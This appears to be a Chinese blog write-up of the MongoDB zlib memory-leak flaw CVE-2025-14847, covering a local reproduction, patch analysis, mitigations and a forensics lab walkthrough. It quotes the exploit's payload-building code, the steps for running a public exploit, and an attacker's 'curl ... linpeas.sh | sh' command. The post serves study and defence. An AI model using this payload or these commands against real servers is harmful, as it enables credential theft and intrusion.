深度分析MangoBleed(CVE-2025-14847)

MangoBleed(CVE-2025-14847)

本文分析了CVE-2025-14847漏洞原理、漏洞复现以及结合了HTB靶场的Sherlock进行综合分析日志。

Sherlock Scenario

You were contacted early this morning to handle a high‑priority incident involving a suspected compromised server. The host, mongodbsync, is a secondary MongoDB server. According to the administrator, it's maintained once a month, and they recently became aware of a vulnerability referred to as MongoBleed. As a precaution, the administrator has provided you with root-level access to facilitate your investigation.

You have already collected a triage acquisition from the server using UAC. Perform a rapid triage analysis of the collected artifacts to determine whether the system has been compromised, identify any attacker activity (initial access, persistence, privilege escalation, lateral movement, or data access/exfiltration), and summarize your findings with an initial incident assessment and recommended next steps.

Task1

What is the CVE ID designated to the MongoDB vulnerability explained in the scenario?

网上搜一下也就是最近爆出来的

CVE-2025-14847

漏洞简介

  • 类型：无认证远程堆内存泄露

  • 危害：攻击者无需认证即可从服务器内存中提取敏感数据，可能包括数据库凭证、API密钥、会话令牌、用户数据等

漏洞原理

根源在于MongoDB的zlib网络消息压缩处理逻辑：

  • MongoDB支持客户端发送压缩消息。
  • 攻击者发送特质畸形的压缩包，在消息头中故意制造长度字段不一致
  • 服务器在解压时会分配过大缓冲区，并错误地将未初始化地堆内存作为有效数据返回给攻击者。
  • 此过程多次发送不同偏移的畸形请求，攻击者可逐步提取内存碎片，聚合后可能恢复敏感信息。
  • 不是直接RCE，但泄露的凭证可导致后续横向移动或数据窃取。

受影响版本

几乎所有2017年以来启用zlib压缩的MongoDB Server版本，包括主流分支:

  • 8.x系列（至8.2.2）
  • 7.0.x、6.0.x、5.0.x、4.4.x等遗留版本
  • 具体：影响4.4、5.0、6.0、7.0、8.0全系列（直到2025年11月版本）

环境搭建

1.docker环境

docker-compose.yml

version: '3.8'

services:
  # 受漏洞影响的版本（开启 Zlib）
  mongodb-vulnerable:
    image: mongo:6.0.14
    container_name: mongodb-vulnerable
    ports:
      - "27017:27017"
    command: mongod --networkMessageCompressors snappy,zlib

  # 已修复的版本（用于对比测试）
  mongodb-patched:
    image: mongo:6.0.27
    container_name: mongodb-patched
    ports:
      - "27018:27017"
    command: mongod --networkMessageCompressors snappy,zlib

volumes:
  mongodb-data:
  mongodb-patched-data:

拉取镜像

docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.git
chmod +x *.sh
./docker-proxy.sh

等镜像源换完，再拉取

docker-compose up -d

image-20260101223837974

漏洞复现

git clone https://github.com/cybertechajju/CVE-2025-14847_Expolit.git
cd CVE-2025-14847_Expolit

创建虚拟环境

python -m venv myenv
source myenv/bin/activate

安装依赖包

pip install -r requirements.txt
python mongobleed_pro.py -h

image-20260101225522114

使用本地的27017漏洞版本测试

python mongobleed_pro.py --target http://localhost:27017

image-20260101230632647

泄露了数据，保存在本地的dump_localhost.bin，loot_localhost.txt

同时测试一下27018端口

image-20260101230957937

没有漏洞

漏洞分析

我们从exp上去分析一下

第一步：

sock = socket.socket()
sock.settimeout(3)
sock.connect((host, port))  # 尝试连接MongoDB默认端口27017

第二步：

check_vulnerability()漏洞存在性检测

def check_vulnerability(host, port):
    hacker_loading("Probing target defenses", 1)
    test_offsets = [100, 500, 1000, 1500, 2000, 3000]
    for offset in test_offsets:
        response = send_probe(host, port, offset, offset + 500)
        if extract_leaks(response):
            return True
    return False

通过不同的"偏移量（offset）"发送请求，只要能从响应中提取到非预期数据，就判定目标漏洞未修复。

第三步：

send_probe()构造payload

# 1. 构造畸形的BSON文档（MongoDB的数据格式）
content = b'\x10a\x00\x01\x00\x00\x00'
bson = struct.pack('<i', doc_len) + content  # 伪造文档长度（关键漏洞触发点）

# 2. 封装为MongoDB的OP_MSG消息
op_msg = struct.pack('<I', 0) + b'\x00' + bson

# 3. 压缩消息（触发漏洞的关键操作）
compressed = zlib.compress(op_msg)

# 4. 构造最终恶意载荷（包含压缩标识+畸形数据）
payload = struct.pack('<I', 2013) + struct.pack('<i', buffer_size) + struct.pack('B', 2) + compressed

# 5. 加上MongoDB协议头，发送给目标
header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
sock.sendall(header + payload)
  1. 伪造的BSON文档长度(doc_len)与实际内容不匹配
  2. 对请求进行zlib压缩后，MongoDB的解压/解析逻辑存在缺陷，导致内存越界读取
  3. 攻击者通过控制doc_len和buffer_size（缓冲区大小），精准控制内存读取的范围

第四步：

发送请求并接收泄露数据（send_probe()后续逻辑）

response = b''
while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
    chunk = sock.recv(4096) #持续接受响应（直到完整读取）
    if not chunk: break
    response += chunk

获取目标返回的、包含内存泄漏数据的响应包

第五步：

提取泄露的内存数据即 extract_leaks函数

批量提取+敏感信息识别run_exploit() + analyze_secrets()

还有保存攻击结果（持久化loot）

攻击总结：

image-20260102153604895

回到源码

https://github.com/mongodb/mongo/blob/r8.0.16/src/mongo/transport/message_compressor_zlib.cpp

image-20260102154747986

原本用于返回解压数据大小的行使用了return {output.length()};这行代码，它告诉代码返回已分配的内存量，而不是解压数据的实际长度。新的return {length};确保只返回解压缩数据的实际长度。

https://github.com/mongodb/mongo/blob/master/src/mongo/transport/message_compressor_zlib.cpp

image-20260102155010199

进一步分析可以发现，在新的src/mongo/transport/message_compressor_manager_test.cpp中多了一个checkUndersize函数

void checkUndersize(const Message& compressedMsg,
                    std::unique_ptr<MessageCompressorBase> compressor) {
    MessageCompressorRegistry registry;
    const auto compressorName = compressor->getName();

    std::vector<std::string> compressorList = {compressorName};
    registry.setSupportedCompressors(std::move(compressorList));
    registry.registerImplementation(std::move(compressor));
    registry.finalizeSupportedCompressors().transitional_ignore();

    MessageCompressorManager mgr(&registry);
    BSONObjBuilder negotiatorOut;
    std::vector<StringData> negotiator({compressorName});
    mgr.serverNegotiate(negotiator, &negotiatorOut);
    checkNegotiationResult(negotiatorOut.done(), {compressorName});

    auto swm = mgr.decompressMessage(compressedMsg);
    ASSERT_EQ(ErrorCodes::BadValue, swm.getStatus());
}

核心逻辑在

image-20260102155616512

mgr.decompressMessage(compressedMsg):调用压缩器管理器解压传入的“异常”的压缩消息

ASSERT_EQ(ErrorCodes::BadValue, swm.getStatus())：单元测试断言

主要目的是验证当传入一个 “尺寸异常（undersize）” 的压缩消息时，消息解压逻辑能正确返回 ErrorCodes::BadValue 错误码

同时在下面也给到了测试用例

image-20260102155917477

重点看一下Zlib的测试用例

TEST(ZlibMessageCompressor, Undersize) {
    // 1. 构造Zlib算法的“尺寸异常”二进制消息数据
    std::vector<std::uint8_t> payload = {
        0x3c, 0x00, 0x00, 0x00, 0xad, 0xde, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdc, 0x07, 0x00,
        0x00, 0xdd, 0x07, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x02, 0x78, 0xda, 0x63, 0x60, 0x00,
        0x82, 0xdf, 0xf2, 0x0c, 0x0c, 0xac, 0xf1, 0x99, 0x29, 0x0c, 0x0c, 0x02, 0x40, 0x9e, 0x87,
        0xab, 0x63, 0x80, 0x8f, 0xab, 0xa3, 0x37, 0x03, 0x12, 0x00, 0x00, 0x6d, 0x26, 0x04, 0x97};

    // 2. 分配缓冲区并拷贝数据
    auto buffer = SharedBuffer::allocate(payload.size());
    std::copy(payload.begin(), payload.end(), buffer.get());

    // 3. 调用测试函数：传入异常消息 + Zlib压缩器实例
    checkUndersize(Message(buffer), std::make_unique<ZlibMessageCompressor>());
}
字节范围 含义 对应 payload 值 说明
0-3 消息总长度（小端序 uint32） 0x3c 0x00 0x00 0x00 解析为十进制 60 → 声明消息总长度是 60 字节
4-7 魔数 / 标识 0xad 0xde 0x00 0x00 MongoDB 自定义的压缩消息标识（0xADDE 是固定值）
8-11 保留字段 0x00 0x00 0x00 0x00 无实际意义，占位
12-15 压缩器类型（小端序 uint32） 0xdc 0x07 0x00 0x00 解析为十进制 2012 → 标识这是 Zlib 压缩的数据（不同压缩器有专属数值）
16-19 保留字段 0xdd 0x07 0x00 0x00 占位
20-23 原始数据长度（小端序 uint32） 0x00 0x20 0x00 0x00 解析为十进制 8192 → 声明解压后原始数据长度是 8192 字节
24 压缩算法标识 0x02 Zlib 的算法标识（Snappy 是 0x01，Zstd 是 0x03）
25+ Zlib 压缩数据体 0x78 0xda ... 0x04 0x97 Zlib 格式的压缩数据（但被故意构造为 “尺寸不足”）
  • 头部声明 “原始数据长度是 8192 字节”，但实际的 Zlib 压缩数据体只有 60-25=35 字节 → 远不足以解压出 8192 字节的原始数据，解压逻辑会检测到 “数据尺寸不足”。

image-20260102160356664

漏洞修复

1.立即升级到已修复版本：

立即升级到：

  • 8.2.3、8.0.17、7.0.28、6.0.27、5.0.32、4.4.30
  • MongoDB Atlas（托管版）已自动修复。

2.临时缓解：
禁用 zlib 压缩
（启动参数：--networkMessageCompressors=snappy,zstd 或配置文件中排除 zlib）
不要将27017端口暴露在互联网
数据库访问设置白名单,不要设置任何ip可访问

Task2

What is the version of MongoDB installed on the server that the CVE exploited?

分析位于MangoBleed\uac-mongodbsync-linux-triage\[root]\var\log\mongodb\mongod.log

image-20260102161150999

8.0.16

Task3

Analyze the MongoDB logs to identify the attacker’s remote IP address used to exploit the CVE.

在日志中关注事件ID22943(连接)和ID22944(断开连接)

65.0.76.43

我们也可以用工具进行分析

https://github.com/Neo23x0/mongobleed-detector

# Shell script dependencies
# Debian/Ubuntu
apt-get install jq gawk gzip

# RHEL/CentOS/Fedora
dnf install jq gawk gzip

# macOS
brew install jq gawk

# Python remote scanner has no additional dependencies
# Uses native ssh/scp commands


# Clone the repository
git clone https://github.com/your-org/mongobleed-detector.git
cd mongobleed-detector

# Make executable
chmod +x mongobleed-detector.sh

./mongobleed-detector.sh --no-default-paths -p ./mongod.log -t 10000

image-20260102164314888

Task4

Based on the MongoDB logs, determine the exact date and time the attacker’s exploitation activity began (the earliest confirmed malicious event)

image-20260102164437061

根据上图可以看到

2025-12-29 05:25:52

Task5

Using the MongoDB logs, calculate the total number of malicious connections initiated by the attacker.

同样在上图

image-20260102165143240

  • Risk：风险等级（这里是HIGH，表示高风险）
  • SourceIP：来源 IP 地址（这里是65.0.76.43）
  • ConnCount：连接次数（37630 次，短时间内大量连接）
  • MetaCount：元数据操作次数（0 次）
  • DiscCount：断开连接次数（37630 次，和连接数一致，说明连接后立即断开）
  • MetaRate%：元数据操作占比（0.00%）
  • BurstRate/m：每分钟爆发连接数（30104 次，短时间内连接频率极高）
  • First/LastSeen：首次 / 最后一次出现的时间（2025-12-29 的 2 分钟内完成了大量连接）

所以总共为75260

75260

Task6

The attacker gained remote access after a series of brute‑force attempts. The attack likely exposed sensitive information, which enabled them to gain remote access. Based on the logs, when did the attacker successfully gain interactive hands-on remote access?

访问/var/log/auth.log日志

image-20260102171320748

2025-12-29 05:40:03

Task7

Identify the exact command line the attacker used to execute an in‑memory script as part of their privilege‑escalation attempt.

image-20260102172751711

确定用户为mongoadmin

uac-mongodbsync-linux-triage\[root]\home\mongoadmin下的.bash_history文件中

image-20260102172905804

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Task8

The attacker was interested in a specific directory and also opened a Python web server, likely for exfiltration purposes. Which directory was the target?

image-20260102173145834

同样去分析一下

/var/lib/mongodb

image-20260102173140081

文章借鉴：

https://www.cnblogs.com/hzhsec/p/19428472

https://www.gm7.org/archives/16179

免责声明

本文档MongoDB漏洞复现（CVE-2025-14847）所包含的漏洞复现方法、技术细节及利用代码，仅限用于授权的安全测试、教育学习与研究目的。

作者声明
未经允许不得转载！！！

posted @ 2026-01-03 15:22  dynasty_chenzi  阅读(153)  评论(0)    收藏  举报
返回顶端